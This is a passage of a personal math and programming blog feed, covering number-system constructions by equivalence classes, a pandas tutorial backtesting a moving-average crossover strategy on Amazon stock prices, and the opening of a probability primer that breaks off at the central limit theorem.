<p>For example we can write three as \(3=7-2\) or as \(3=8-3\). So we build up pairs \((7,2)\) and \((8,3)\) and somehow want them to represent the number \(3\). If they represent the same number, then they should be equivalent.<br />
So we define \((r,s)\sim (u,v)\) if and only if \(r+v=s+u\). We do not write the complicated stuff with minus, because we cannot subtract each number from the others. At least not up to now.
You should be able to verify for yourself, that this is indeed an equivalence relation.
As said above each equivalence relation is a partition into disjoint sets. In this case we partition \(\mathbb{N}\times\mathbb{N}\).
If we observe the equivalence classes, then we have exactly the integers, often denoted by \(\mathbb{Z}\).</p>
<h2 id="rationals">Rationals</h2>
<p>In school they said to you, that you cannot divide three apples among five kids. They lied to you. Of course you can.
Mathematicians found a way to warp reality such that this is possible. They invented rationals.<br />
The construction of the rationals, often denoted by \(\mathbb{Q}\) takes place in a very similar way to the construction of the integers from the natural numbers.<br />
We define for \(r,s,u,v\in \mathbb{Z}\) and \(s,v\neq 0\) that \((r,s)\sim (u,v)\) if and only if \(rv=us\).
There is a slightly more general construction called localisation, which explains why you have to exclude the zeroes, but you can look that up, if you want to.
Then we do the usual construction of taking the equivalence classes. Normally one does not write \((r,s)\) for representatives of an equivalence class, but instead \(\frac{r}{s}\). This does not intuitively makes sense, but is more familiar.<br />
Now you can see why we took this special equivalence relation, since \(\frac{r}{s}\) can also be written as \(\frac{rt}{st}\) for every \(t\neq 0\), \(t\in\mathbb{Z}\).</p>
<h2 id="real-numbers">Real numbers</h2>
<p>In school they said to you, that you cannot take a squareroot of two cookies. They lied to you. Of course you can.
Mathematicians found a way to warp reality such that this is possible. They invented the real numbers.<br />
Real numbers are a lot harder and there are at least two constructions that lead from the rationals to the real numbers. One is via dirichlet cuts and the other is via cauchy sequences. I will only brush cauchy sequences.
Cauchy Sequences are sequences, where for each number \(\epsilon\), there is an element in the sequence, after which the distance of two elements is smaller than \(\epsilon\). So intuitively they should converge. In general this is not true in \(\mathbb{Q}\) since one can construct Cauchy sequences which approximate \(\sqrt{2}\) arbitrarily close, but since \(\sqrt{2}\) is not in \(\mathbb{Q}\) they do not converge.<br />
The remedy here is again to take equivalence classes over Cauchy sequences over rational numbers. The equivalence relation is defined to mean that the two sequences ‘converge to the same point’ whatever that means exactly in \(\mathbb{Q}\).<br />
Real numbers are often denoted by \(\mathbb{R}\).</p>
<h2 id="complex-numbers">Complex numbers</h2>
<p>In school they even said, that you cannot take roots of negative integers. This is of course also a lie.
Since we want each nonconstant polynomial of degree \(d\) to have exactly \(d\) roots, we added an element, called \(i\). This \(i\) is one of the roots of the polynomial \(x^2+1\). At least it behaves like it would be a root.
If we define two polynomials over the real numbers to be equivalent if they are equal up to a multiple of \(x^2+1\) and then take the equivalence classes, we get a representation of the complex numbers.
Another construction is that we take the algebraic closure of the real numbers, which is unique up to isomorphism. But in the end we get the same thing. At least up to isomorphism.
The thing we get is mostly denoted by \(\mathbb{C}\).</p>
<h2 id="conclusion">Conclusion</h2>
<p>I hope you had fun. Remember that if there is a problem with reality then you can bend it to suit your will.</p>
Backtesting With Pandas
2014-09-28T00:00:00+00:00
https://hkopp.github.io/2014/09/backtesting-with-pandas
<script type="text/javascript" src="https://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML"></script>
<h2 id="introduction">Introduction</h2>
<p>In this post, we play a little bit around with python and the
pandas-library.
The motivation is the backtesting of algorithmic trading strategies.
Suppose we know that market values are mean-reverting, i.e., they will
always cross their average. Then we can implement a trading strategy
based on that and get rich.<br />
To be more specific, we buy, when the current market price goes above
the average of the last \(k\) days and we sell if it falls below the
average of the last \(k\) days. The problem is, that market prices
contain a lot of noise, so we need to smooth the signal. We can do
this by taking the average of the last \(t\) days, where \(t<k\).
Taking the average over the last \(t\) days is called a <em>moving</em>
<em>average</em> because we do it for every day.<br />
The point of this post is to implement this strategy and test it
against historical stock data of Amazon.</p>
<h2 id="let-the-fun-start">Let the fun start</h2>
<p>First, we import pandas. That’s a library for working with time series
and data munging.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">In</span><span class="p">:</span> <span class="kn">import</span> <span class="nn">pandas</span> <span class="k">as</span> <span class="n">pd</span>
<span class="n">In</span><span class="p">:</span> <span class="kn">import</span> <span class="nn">pandas.io.data</span>
<span class="n">In</span><span class="p">:</span> <span class="kn">import</span> <span class="nn">datetime</span></code></pre></figure>
<p>Next we get ten years of historical data from amazon. Thanks to yahoo finance for
their great API, which allows us to do this easily.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="o">=</span><span class="n">pd</span><span class="p">.</span><span class="n">io</span><span class="p">.</span><span class="n">data</span><span class="p">.</span><span class="n">get_data_yahoo</span><span class="p">(</span><span class="s">'AMZN'</span><span class="p">,</span> <span class="n">start</span><span class="o">=</span><span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">(</span><span class="mi">2000</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">(</span><span class="mi">2010</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">))</span>
<span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">.</span><span class="n">head</span><span class="p">()</span>
<span class="n">Out</span><span class="p">:</span>
<span class="n">Open</span> <span class="n">High</span> <span class="n">Low</span> <span class="n">Close</span> <span class="n">Volume</span> <span class="n">Adj</span> <span class="n">Close</span>
<span class="n">Date</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">03</span> <span class="mf">81.50</span> <span class="mf">89.56</span> <span class="mf">79.05</span> <span class="mf">89.38</span> <span class="mi">16117600</span> <span class="mf">89.38</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">04</span> <span class="mf">85.38</span> <span class="mf">91.50</span> <span class="mf">81.75</span> <span class="mf">81.94</span> <span class="mi">17487400</span> <span class="mf">81.94</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">05</span> <span class="mf">70.50</span> <span class="mf">75.12</span> <span class="mf">68.00</span> <span class="mf">69.75</span> <span class="mi">38457400</span> <span class="mf">69.75</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">06</span> <span class="mf">71.31</span> <span class="mf">72.69</span> <span class="mf">64.00</span> <span class="mf">65.56</span> <span class="mi">18752000</span> <span class="mf">65.56</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">07</span> <span class="mf">67.00</span> <span class="mf">70.50</span> <span class="mf">66.19</span> <span class="mf">69.56</span> <span class="mi">10505400</span> <span class="mf">69.56</span></code></pre></figure>
<p>Seems to work. So what is this?<br />
<em>Open</em> denotes the price in the morning, when the exchange opens.<br />
<em>Close</em> denotes the price in the evening, when the exchange closes.<br />
<em>High</em> is the highest price of this asset, which was achieved on this day.<br />
<em>Low</em> is the lowest price of this asset, which was achieved on this day.<br />
<em>Volume</em> is the traded volume, i.e., how much of the stock was traded
on that particular day.<br />
<em>Adj Close</em> denotes the adjusted closing price. This is mostly the same
as the closing price, but takes into account events such as stock
splits or dividends.<br />
Why is the opening price of the current day not the same as the closing
price of the previous day? During night, when the exchange is closed,
orders keep coming in, but they do not get traded. So on the next day,
when the exchange opens again, it computes a new opening price based
on the overnight orders. I do not (yet?) know how that works exactly,
so take my explanation with a grain of salt.</p>
<p>For evaluating our strategy we only use the adjusted close price, so we throw all this other stuff away.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="o">=</span><span class="n">amzn</span><span class="p">[[</span><span class="s">'Adj Close'</span><span class="p">]]</span>
<span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">.</span><span class="n">head</span><span class="p">()</span>
<span class="n">Out</span><span class="p">:</span>
<span class="n">Adj</span> <span class="n">Close</span>
<span class="n">Date</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">03</span> <span class="mf">89.38</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">04</span> <span class="mf">81.94</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">05</span> <span class="mf">69.75</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">06</span> <span class="mf">65.56</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">07</span> <span class="mf">69.56</span></code></pre></figure>
<p>We now compute some rolling means. We need two of them. A long one to
capture the overall trend and a short one to smooth out the noise in
the data. We let the short one be over 20 days and we take 40 for the
long rolling average.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">[</span><span class="s">'short_mean'</span><span class="p">]</span><span class="o">=</span><span class="n">pd</span><span class="p">.</span><span class="n">rolling_mean</span><span class="p">(</span><span class="n">amzn</span><span class="p">[</span><span class="s">'Adj Close'</span><span class="p">],</span> <span class="mi">20</span><span class="p">)</span>
<span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">[</span><span class="s">'long_mean'</span><span class="p">]</span><span class="o">=</span><span class="n">pd</span><span class="p">.</span><span class="n">rolling_mean</span><span class="p">(</span><span class="n">amzn</span><span class="p">[</span><span class="s">'Adj Close'</span><span class="p">],</span> <span class="mi">40</span><span class="p">)</span>
<span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">.</span><span class="n">head</span><span class="p">(</span><span class="mi">15</span><span class="p">)</span>
<span class="n">Out</span><span class="p">:</span>
<span class="n">Adj</span> <span class="n">Close</span> <span class="n">short_mean</span> <span class="n">long_mean</span>
<span class="n">Date</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">03</span> <span class="mf">89.38</span> <span class="n">NaN</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">04</span> <span class="mf">81.94</span> <span class="n">NaN</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">05</span> <span class="mf">69.75</span> <span class="n">NaN</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">06</span> <span class="mf">65.56</span> <span class="n">NaN</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">07</span> <span class="mf">69.56</span> <span class="n">NaN</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">10</span> <span class="mf">69.19</span> <span class="n">NaN</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">11</span> <span class="mf">66.75</span> <span class="n">NaN</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">12</span> <span class="mf">63.56</span> <span class="n">NaN</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">13</span> <span class="mf">65.94</span> <span class="n">NaN</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">14</span> <span class="mf">64.25</span> <span class="mf">70.588</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">18</span> <span class="mf">64.12</span> <span class="mf">68.062</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">19</span> <span class="mf">66.81</span> <span class="mf">66.549</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">20</span> <span class="mf">64.75</span> <span class="mf">66.049</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">21</span> <span class="mf">62.06</span> <span class="mf">65.699</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">24</span> <span class="mf">70.12</span> <span class="mf">65.755</span> <span class="n">NaN</span></code></pre></figure>
<p>The problem of the moving averages is that not only do they smooth the
signal and remove the noise, but they also add latency as you can see
above. The computation of short_mean, the moving average over the last
20 days, can only be computed if we have 20 days before it. That is
why you see NaN, not a number, above.<br />
In general adding latecy is bad, because then some trends are over,
before they are even noticed. To understand this, let us draw a
picture.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">In</span><span class="p">:</span> <span class="kn">import</span> <span class="nn">matplotlib</span> <span class="k">as</span> <span class="n">mpl</span>
<span class="n">In</span><span class="p">:</span> <span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">.</span><span class="n">plot</span><span class="p">()</span>
<span class="n">In</span><span class="p">:</span> <span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span></code></pre></figure>
<p>For your convenience, I have embedded the thing here:
<img src="http://hkopp.github.io/assets/backtesting-with-pandas/full_avgs_small.png" alt="Rolling Averages" /></p>
<p>I have also made a version only over the last five years to make the
time lag more clear.
<img src="http://hkopp.github.io/assets/backtesting-with-pandas/avgs_small.png" alt="Rolling averages, zoomed version" /></p>
<p>If the short moving average is now above the long moving average, then we are on a
short-term upwards trend. At least that is the theory. That means,
that we will buy. If the averages cross the other way around, we sell.
Otherwise we do nothing.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">[</span><span class="s">'order'</span><span class="p">]</span><span class="o">=</span><span class="mi">0</span>
<span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">[</span><span class="s">'order'</span><span class="p">][</span><span class="n">amzn</span><span class="p">.</span><span class="n">short_mean</span><span class="o">></span><span class="n">amzn</span><span class="p">.</span><span class="n">long_mean</span><span class="p">]</span><span class="o">=</span><span class="mi">1</span>
<span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">[</span><span class="s">'order'</span><span class="p">]</span><span class="o">=</span><span class="n">amzn</span><span class="p">[</span><span class="s">'order'</span><span class="p">].</span><span class="n">shift</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span></code></pre></figure>
<p>This means that we make a new column which consists of a one if the short
moving average is above the long moving average, otherwise it contains
a zero. The shift in the last line is, because we compute on the closing prices.
That means that we will then buy/sell on the next day, so we shift the
buying signal one day.</p>
<p>Now we need to calculate our relative returns for each day:<br />
\(r_t = \frac{p_t - p_{t-1}}{p_{t-1}} = \frac{p_t}{p_{t-1}} - 1\)</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">[</span><span class="s">'returns'</span><span class="p">]</span><span class="o">=</span><span class="n">amzn</span><span class="p">[</span><span class="s">'Adj Close'</span><span class="p">]</span> <span class="o">/</span> <span class="n">amzn</span><span class="p">[</span><span class="s">'Adj Close'</span><span class="p">].</span><span class="n">shift</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span>
<span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">.</span><span class="n">head</span><span class="p">()</span>
<span class="n">Out</span><span class="p">:</span>
<span class="n">Adj</span> <span class="n">Close</span> <span class="n">short_mean</span> <span class="n">long_mean</span> <span class="n">order</span> <span class="n">returns</span>
<span class="n">Date</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">03</span> <span class="mf">89.38</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">04</span> <span class="mf">81.94</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="mi">0</span> <span class="o">-</span><span class="mf">0.083240</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">05</span> <span class="mf">69.75</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="mi">0</span> <span class="o">-</span><span class="mf">0.148767</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">06</span> <span class="mf">65.56</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="mi">0</span> <span class="o">-</span><span class="mf">0.060072</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">07</span> <span class="mf">69.56</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="mi">0</span> <span class="mf">0.061013</span></code></pre></figure>
<p>We have only returns when we trade. That means that we multiply the
returns with the buying signal.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">[</span><span class="s">'returns'</span><span class="p">]</span><span class="o">=</span><span class="n">amzn</span><span class="p">[</span><span class="s">'returns'</span><span class="p">]</span><span class="o">*</span><span class="n">amzn</span><span class="p">[</span><span class="s">'order'</span><span class="p">]</span>
<span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">.</span><span class="n">head</span><span class="p">()</span>
<span class="n">Out</span><span class="p">:</span>
<span class="n">Adj</span> <span class="n">Close</span> <span class="n">short_mean</span> <span class="n">long_mean</span> <span class="n">order</span> <span class="n">returns</span>
<span class="n">Date</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">03</span> <span class="mf">89.38</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">04</span> <span class="mf">81.94</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="mi">0</span> <span class="o">-</span><span class="mi">0</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">05</span> <span class="mf">69.75</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="mi">0</span> <span class="o">-</span><span class="mi">0</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">06</span> <span class="mf">65.56</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="mi">0</span> <span class="o">-</span><span class="mi">0</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">07</span> <span class="mf">69.56</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="mi">0</span> <span class="mi">0</span></code></pre></figure>
<p>If you have not yet worked extensively with numerical algorithms I
should perhaps explain the -0. We are working with floating point
arithmetic, so we naturally have rounding errors. So, a zero in the
computer can be just a very small number. If this is negative, then
python says -0. If you are more interested, then google for “floating
point arithmetic” or search for some introductory lecture notes about numerical
algorithms.</p>
<p>Since we reinvest all returns, we need to take a cumulative product
over the last column.<br />
\(i_t = (i_{t-1} + i_{t-1} \cdot r_t) = (1 + r_t) \cdot i_{t-1}, \quad i_0 = 1\)</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">[</span><span class="s">'cumreturns'</span><span class="p">]</span><span class="o">=</span><span class="p">(</span><span class="mi">1</span><span class="o">+</span><span class="n">amzn</span><span class="p">.</span><span class="n">returns</span><span class="p">).</span><span class="n">cumprod</span><span class="p">()</span>
<span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">.</span><span class="n">head</span><span class="p">()</span>
<span class="n">Out</span><span class="p">:</span>
<span class="n">Adj</span> <span class="n">Close</span> <span class="n">short_mean</span> <span class="n">long_mean</span> <span class="n">order</span> <span class="n">returns</span> <span class="n">cumreturns</span>
<span class="n">Date</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">03</span> <span class="mf">89.38</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="n">NaN</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">04</span> <span class="mf">81.94</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="mi">0</span> <span class="o">-</span><span class="mi">0</span> <span class="mi">1</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">05</span> <span class="mf">69.75</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="mi">0</span> <span class="o">-</span><span class="mi">0</span> <span class="mi">1</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">06</span> <span class="mf">65.56</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="mi">0</span> <span class="o">-</span><span class="mi">0</span> <span class="mi">1</span>
<span class="mi">2000</span><span class="o">-</span><span class="mi">01</span><span class="o">-</span><span class="mi">07</span> <span class="mf">69.56</span> <span class="n">NaN</span> <span class="n">NaN</span> <span class="mi">0</span> <span class="mi">0</span> <span class="mi">1</span></code></pre></figure>
<p>Now we are nearly finished. In the last column, cumreturns, we have
the cumulative returns. We can now plot it and see if it looks good.</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="n">In</span><span class="p">:</span> <span class="n">amzn</span><span class="p">.</span><span class="n">cumreturns</span><span class="p">.</span><span class="n">plot</span><span class="p">()</span>
<span class="n">Out</span><span class="p">:</span> <span class="o"><</span><span class="n">matplotlib</span><span class="p">.</span><span class="n">axes</span><span class="p">.</span><span class="n">AxesSubplot</span> <span class="n">at</span> <span class="mh">0x5fe40d0</span><span class="o">></span>
<span class="n">In</span><span class="p">:</span> <span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span></code></pre></figure>
<p><img src="http://hkopp.github.io/assets/backtesting-with-pandas/returns_small.png" alt="Cumulative returns" /></p>
<p>As we can see, the buying order nearly always starts on an upwards
trend. That is good. The problem is that we sell too late. This is
perhaps due to the time lag which we have introduced by taking all
those moving averages. If we take into account other stuff like
transactions costs this strategy is not profitable but was fun to code
and play with nevertheless.</p>
<h2 id="improvements">Improvements</h2>
<p>Why did we take a moving average over 20 days and another one over 40
days? Why not 10 and 20 days? I do not know. This was just to play
around. In general we can take an average over \(t\) and \(k\) days.
Then we can view the returns as a function in terms of \(k\) and
\(t\). Let us call it \(r(k,t)\). We can now maximize this thing with
a numerical method of your choice.<br />
The problem is, that we have a curve-fitting bias. The optimal \(k\)
and \(t\) would be only optimal for this particular curve. For future
prices, other parameters would be a better fit.</p>
<p>I currently do not see how we can avoid overfitting. There are things
called stop-loss and take-profit which could possibly help.<br />
<em>Stop-loss</em> means, that if we have some stocks and the price falls below
the stop-loss, then we sell them automatically. The stop-loss is thus
a threshhold to bound the losses.<br />
<em>Take-profit</em> is the same but in the other direction. Take-profit would
yield an upper bound on the profit. I think that this would make sense
in our scenario, since according to the chart, we sell too late.
Take-profit would close the trade earlier.<br />
But with stop-loss, as well as with take-profit, we have introduced
more parameters, which we need to choose carefully.</p>
<p>Since this section is called improvements, i should also mention that
for a realistic model, we need to accommodate the transaction fees and
slippage. Slippage means, that if we place a big buy order, the
market price goes up and we need to pay a little bit more than
planned. That is a very simplified explanation, but it captures the
core idea. Including slippage in this model is difficult, because we
compute on historical data, so we cannot take into account our own
feedback back into the market.</p>
<h2 id="thanks">Thanks</h2>
<p>Thanks to twiecki, from whom I have borrowed some formulas and
pythonic design ideas.</p>
A Stochastic Primer
2014-09-13T00:00:00+00:00
https://hkopp.github.io/2014/09/a-stochastic-primer
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<h1 id="introduction">Introduction</h1>
<p>I often stumbled across basic stochastic properties which I do not
remember exactly anymore, so here it is: A post just for me, where i
can search for stochastic stuff. This also means that this post will
not be very detailed, but if you had basic stochastic in school you
should be able to follow along.</p>
<h1 id="measure-space">Measure Space</h1>
<p>First, let us define what a measure space is.<br />
We have the set \(\Omega\) of samples. You can think of it as a set
containing all possible outcomes.<br />
Then there is the set \(\mathcal{F}\) which is a subset of the powerset
of \(\Omega\). In fact, we require it to be a \(\sigma\)-algebra, which is
a fancy way of saying, that it consists of all sets, where we can
assign a “volume” such that it makes sense.<br />
Finally, we have a probability measure \(P\) which is a function from
\(\mathcal{F}\) to the interval \([0,1]\), where we require that it
“behaves like a volume function”.
This means that \(P(\Omega)=1\) and for <em>countably</em> many pairwise disjoint
\(A_i\in\mathcal{F}\) we require that \(P(\bigcup A_i)=\sum P(A_i)\).
Furthermore \(P(\emptyset)=0\).</p>
<p>The triple \((\Omega, \mathcal{F}, P)\) is now called a measure space.</p>
<h1 id="random-variables">Random Variables</h1>
<p>To make things easy, I only consider random real-valued variables. The
interested reader can certainly try to define random variables into any
measurable set (Sorry Vitali sets).<br />
A real-valued random variable \(X\) is a function
\(X:\Omega\rightarrow\mathbb{R}\).
To compute the probability of the event that \(X\) is \(541\) (which is the
hundredth prime, in case you didn’t know) we take the preimage
\(X^{-1}(541)\) which lies in \(\Omega\) where we can apply our
probability measure \(P(X^{-1}(541))=P\{\omega:X(\omega)=541\}\)<br />
We will call this in the following \(p_X(541)\) or \(P(X=541)\).<br />
This thing \(p_X\) is called the probability density of X. The
idea behind it is that we forget about our measure space \(\Omega\)
and define a new measure on \(\mathbb{R}\).</p>
<p>Calculating with that stuff is straightforward. For example \(P(a\leq
X\leq b)=\int_a^b p_X(x)dx\) which is fortunately exactly what I would
suspect.</p>
<p>If we have two random variables \(X\) and \(Y\) we say that they are
independent if and only if \(p_{XY}(x,y)=p_X(x)\cdot p_Y(y)\).</p>
<h1 id="distribution-functions">Distribution Functions</h1>
<p>For every propability density \(p_X\) there is the corresponding
distribution function \(F_X(z)=P(X\leq z)=\int_{-\infty}^z p_X(x)dx\).</p>
<h1 id="expected-value">Expected Value</h1>
<p>The expected value is the value which you would expect “on average”,
whatever that means exactly. It is defined as
\(\mathbb{E}(X)=\int_{-\infty}^\infty xp_X(x)dx\) if it exists.<br />
This even makes sense intuitively, as we weight the events with their
corresponding probabilities and sum them up. Note that this thing does
not have to exist, since it could be possible that the integral does
not converge.</p>
<p>Sometimes it is also called the mean and denoted with \(\mu\).</p>
<p>Fortunately it is linear, i.e.,
\(\mathbb{E}(aX+bY+c)=a\mathbb{E}(X)+b\mathbb{E}(Y)+c\) for \(X\),
\(Y\) random variables and \(a\), \(b\), \(c\) constants,
even when \(X\) and \(Y\) are not independent.</p>
<h1 id="variance">Variance</h1>
<p>Variance is a measure for deviation from the expected value. Much like standard
deviation. In fact it is the squared standard deviation.
\(Var(X)=\mathbb{E}((X-\mathbb{E}(X))^2)\), and the positive
squareroot \(\sigma=\sqrt{Var(X)}\) is called the standard deviation.
Note that you need the squares inside the computation of the variance,
since
\(\mathbb{E}(X-\mathbb{E}(X))=0\).</p>
<p>You might find it useful to know that:</p>
<ul>
<li>\(Var(X+a)=Var(X)\) for a random variable \(X\) and a parameter
\(a\).</li>
<li>\(Var(aX)=a^2 Var(X)\) with \(X\), \(a\) as above.</li>
<li>\(Var(X+Y)=Var(X)+Var(Y)\) for <em>uncorrelated</em> random variables \(X\)
and \(Y\). (see below for a explanation of uncorrelatedness)</li>
</ul>
<h1 id="covariance">Covariance</h1>
<p>Covariance measures how two random variables \(X\) and \(Y\) change
together.
\(Covar(X,Y)=\mathbb{E}((X-\mathbb{E}(X))(Y-\mathbb{E}(Y)))
=\mathbb{E}(XY)-\mathbb{E}(X)\mathbb{E}(Y)\), where the last part
follows by linearity of the expected value and is a good exercise for the interested reader.<br />
Two random variables \(X\) and \(Y\) are called uncorrelated if
\(Covar(X,Y)=0\).<br />
By the way, variance can be explained in terms of covariance as
\(Var(X)=Covar(X,X)\).</p>
<h1 id="normal-distribution">Normal Distribution</h1>
<p>I should probably make a warning sign here, since there is a big
formula ahead. Normal distribution is just a special kind of
distribution. We say that a random variable \(X\) has a normal distribution
with mean \(0\) and variance \(1\), if for the probability density it
holds that
\(\begin{align*}
p_X(x)=\frac{1}{\sqrt{2\pi}}e^{-\frac{x^2}{2}}
\end{align*}\)
for all \(x\in \mathbb{R}\).<br />
One then often writes things like \(X\sim\mathcal{N}(0,1)\) to denote
this special relationship.</p>
<p>Damn, why is this monster called the normal distribution? What on
earth is normal about that? It will become clear once I explain the
central limit theorem. But before doing this I want to show to you an
even bigger ugly formula, namely the normal distribution with mean
\(\mu\) and variance \(\sigma^2\).
For a random variable \(X\) we write
\(X\sim\mathcal{N}(\mu,\sigma^2)\) and say that \(X\) has a normal
distribution with mean \(\mu\) and variance \(\sigma\) if
\(\begin{align*}
p_X(x)=\frac{1}{\sigma\sqrt{2\pi}}e^{-\frac{(x-\mu)^2}{2\sigma^2}}
\end{align*}\).</p>
<p>To get more familiar with this stuff, I urge you to do the following exercises:</p>
<ul>
<li>Show that a random variable \(X\) with \(X\sim\mathcal{N}(0,1)\) has mean \(0\) and variance \(1\). What terms do you have to compute to show this?</li>
<li>Suppose again \(X\sim \mathcal{N}(0,1)\). Let \(Y=\sigma X+\mu\) be another random variable. Show that \(Y\sim\mathcal{N}(\mu,\sigma^2)\).</li>
</ul>
<h1 id="central-limit-theorem">Central Limit Theorem</h1>
